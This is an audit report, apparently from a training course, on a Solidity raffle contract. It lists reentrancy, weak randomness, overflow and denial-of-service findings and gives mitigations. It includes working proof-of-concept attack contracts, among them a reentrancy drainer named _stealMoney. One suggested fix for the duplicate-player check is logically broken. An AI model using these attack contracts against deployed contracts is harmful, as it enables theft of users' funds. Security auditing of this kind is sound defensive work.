



Puppy Raffle Report

Version 1.0

Lulox

April 26, 2024

Puppy Raffle Report

Lulox

April 26, 2024

Prepared by: Lulox Lead Auditors:

- lulox.eth

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.
 - * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees and renders unable to withdraw.

- * [H-4] Malicious winner can forever halt the raffle
- Medium
 - * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
 - * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
 - * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.
 - * [M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage variables in a loop should be cached
- Informational
 - * [I-1]: Solidity pragma should be specific, not wide
 - * [I-2]: Using an outdated version of Solidity is not recommended
 - * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
 - * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
 - * [I-5] Use of “magic” numbers is discouraged
 - * [I-6] State changes are missing events
 - * [I-7] `PuppyRaffle::isActivePlayer` is never used and should be removed
 - * [I-8] Test Coverage
 - * [I-9] Zero address validation
 - * [I-10] Potentially erroneous active player index
 - * [I-11] Zero address may be erroneously considered an active player
- Additional findings not taught in course.
 - * MEV

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Lulox team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This was an interesting codebase to go through. I learned a lot from bugs I already knew, and learned about some I never heard of. Patrick is such a good teacher, and I hope this is an important step in my security auditing career.

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Gas	2
Info	11
Total	22

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks-Effects-Interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the
4          player can refund");
5      require(playerAddress != address(0), "PuppyRaffle: Player
6          already refunded, or is not active");
7      payable(msg.sender).sendValue(entranceFee);
8      players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function testReentrancyRefund() public {
2      address[] memory players = new address[](4);
```

```
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 startingAttackContractBalance = address(
15         attackerContract).balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     // attack
19     vm.prank(attackUser);
20     attackerContract.attack{value: entranceFee}();
21
22     console.log("starting attacker contract balance: ",
23         startingAttackContractBalance);
24     console.log("starting contract balance: ",
25         startingContractBalance);
26
27     console.log("ending attacker contract balance: ", address(
28         attackerContract).balance);
29     console.log("ending contract balance: ", address(puppyRaffle).
30         balance);
31 }
```

And this contract as well

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20 }
```

```
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
8         + emit RaffleRefunded(playerAddress);
9
10        payable(msg.sender).sendValue(entranceFee);
11
12        - players[playerIndex] = address(0);
13        - emit RaffleRefunded(playerAddress);
14    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees and renders unable to withdraw.

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

There are no checks for overflow on math, resulting in error of calculation when the max amount for a specific variable is reached. If enough players enter the PuppyRaffle after a first round has ended and fees haven't been claimed, the contract will fail to calculate the totalFees and not allow withdrawing fees anymore.

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
```

```
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Proof of Code Add this test to `PuppyRaffleTest.t.sol`

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16        players);
17    // We end the raffle
18    vm.warp(block.timestamp + duration + 1);
19    vm.roll(block.number + 1);
20
21    // And here is where the issue occurs
22    // We will now have fewer fees even though we just finished a
23    // second raffle
24    puppyRaffle.selectWinner();
25
26    uint256 endingTotalFees = puppyRaffle.totalFees();
27    console.log("ending total fees", endingTotalFees);
28    assert(endingTotalFees < startingTotalFees);
29
30    // We are also unable to withdraw any fees because of the
31    // require check
32    vm.prank(puppyRaffle.feeAddress());
33    vm.expectRevert("PuppyRaffle: There are currently players
34        active!");
35    puppyRaffle.withdrawFees();
```

```
32     }
```

Recommended Mitigation: There are a few recommended mitigations here:

1. Use a newer version of Solidity that does not allow integer overflows by default

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows. However, you would still have a hard time with the `uint64` type if too many fees are collected.

2. Use a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testSelectWinnerDoS() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     address[] memory players = new address[](4);
6     players[0] = address(new AttackerContract());
7     players[1] = address(new AttackerContract());
8     players[2] = address(new AttackerContract());
9     players[3] = address(new AttackerContract());
10    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12    vm.expectRevert();
13    puppyRaffle.selectWinner();
14 }
```

For example, the `AttackerContract` can be this:

```
1 contract AttackerContract {
2     // Implements a `receive` function that always reverts
3     receive() external payable {
4         revert();
5     }
6 }
```

Or this:

```
1 contract AttackerContract {
2     // Implements a `receive` function to receive prize, but does not
3     // implement `onERC721Received` hook to receive the NFT.
4     receive() external payable {}
5 }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` functions loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit DoS attack
2     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(
5                 players[i] != players[j],
6                 "PuppyRaffle: Duplicate player"
7             );
8         }
9     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of players enter, the gas costs will be as such:

- 1st 100 players: ~6252128 gas
- 2nd 100 players: ~1806218 gas

This is more than 3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_denialOfService() public {
2     // Setting the gas price
3     vm.txGasPrice(1);
4     // Let's enter 100 players
5     uint256 playersNum = 100;
6     address[] memory players = new address[](playersNum);
7     for (uint256 i = 0; i < playersNum; i++) {
8         players[i] = address(i);
```

```
9      }
10
11      uint256 gasStart = gasleft();
12      puppyRaffle.enterRaffle{value: entranceFee * players.length}(
13          players);
14      uint256 gasEnd = gasleft();
15      uint256 gasUsedFirst100Players = (gasStart - gasEnd) * tx.
16          gasprice;
17      console.log(
18          "Gas cost of the first 100 players",
19          gasUsedFirst100Players
20      );
21      // Now for the second 100 players
22      address[] memory playersTwo = new address[](playersNum);
23      for (uint256 i = 0; i < playersNum; i++) {
24          playersTwo[i] = address(i + playersNum); // 0, 1, 2 -> 100,
25              101, 102
26      }
27
28      uint256 gasStartSecond = gasleft();
29      puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
30          }(
31          playersTwo
32      );
33      uint256 gasEndSecond = gasleft();
34      uint256 gasUsedSecond100Players = (gasStartSecond -
35          gasEndSecond) *
36          tx.gasprice;
37      console.log(
38          "Gas cost of the second 100 players",
39          gasUsedSecond100Players
40      );
41
42      assert(gasUsedFirst100Players < gasUsedSecond100Players);
43  }
```

Reccomended Mitigation: There are a few reccomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
4 .
```

```

5  .
6  function enterRaffle(address[] memory newPlayers) public payable {
7      require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
8          Must send enough to enter raffle");
9      for (uint256 i = 0; i < newPlayers.length; i++) {
10         players.push(newPlayers[i]);
11         addressToRaffleId[newPlayers[i]] = raffleId;
12     }
13     // Check for duplicates
14     // Check for duplicates only from new players
15     for (uint256 i = 0; i < newPlayers.length; i++) {
16         require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
17             Duplicate player");
18     }
19     for (uint256 i = 0; i < players.length - 1; i++) {
20         for (uint256 j = i + 1; j < players.length; j++) {
21             require(
22                 players[i] != players[j],
23                 "PuppyRaffle: Duplicate player"
24             );
25         }
26     }
27     emit RaffleEnter(newPlayers);
28 }
29 .
30 .
31 .
32     function selectWinner() external {
33         raffleId = raffleId + 1;
34         require(block.timestamp >= raffleStartTime + raffleDuration
35             , "PuppyRaffle: Raffle not over");

```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```

1  function selectWinner() external {
2      require(block.timestamp >= raffleStartTime + raffleDuration, "
3          PuppyRaffle: Raffle not over");
4      require(players.length > 0, "PuppyRaffle: No players in raffle"
5          );
6
7      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
8          sender, block.timestamp, block.difficulty))) % players.
9          length;

```

```
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9     @>     totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3   .
4   .
5   .
6   function selectWinner() external {
7       require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
8       require(players.length >= 4, "PuppyRaffle: Need at least 4
          players");
9       uint256 winnerIndex =
10          uint256(keccak256(abi.encodePacked(msg.sender, block.
              timestamp, block.difficulty))) % players.length;
11       address winner = players[winnerIndex];
12       uint256 totalAmountCollected = players.length * entranceFee;
```



```
13      uint256 prizePool = (totalAmountCollected * 80) / 100;  
14      uint256 fee = (totalAmountCollected * 20) / 100;  
15      -      totalFees = totalFees + uint64(fee);  
16      +      totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (recommended)

Pull over Push

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1     function withdrawFees() external {
2 @>     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
        active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
        (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
```

```
5         return i;
6     }
7 }
8 return 0;
9 }
```

Impact: A player at index 0 may incorrectly think they've not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array, instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = players.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
```

```
6         require(players[i] != players[j], "PuppyRaffle:
7             Duplicate player");
8     }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6; //n Old solidity version
```

[I-2]: Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Else, deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 64

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 180

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

Every time the state changes, there should be an event notifying that change.

[I-7] PuppyRaffle::_isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```

1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }

```

[I-8] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

1	File	% Lines	% Statements
2	% Branches % Funcs		
3	-----	-----	-----
3	script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)
4	src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)
5	test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)
6	Total	80.60% (54/67)	81.52% (75/92)
	65.62% (21/32) 75.00% (9/12)		

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the **Branches** column.

[I-9] Zero address validation

Description: The **PuppyRaffle** contract does not validate that the **feeAddress** is not the zero address. This means that the **feeAddress** could be set to the zero address, and fees would be lost.

```

1 PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
  PuppyRaffle.sol#57) lacks a zero-check on :
2     - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
3 PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
  sol#165) lacks a zero-check on :
4     - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)

```

Recommended Mitigation: Add a zero address check whenever the **feeAddress** is updated.

[I-10] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-11] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Additional findings not taught in course.**MEV**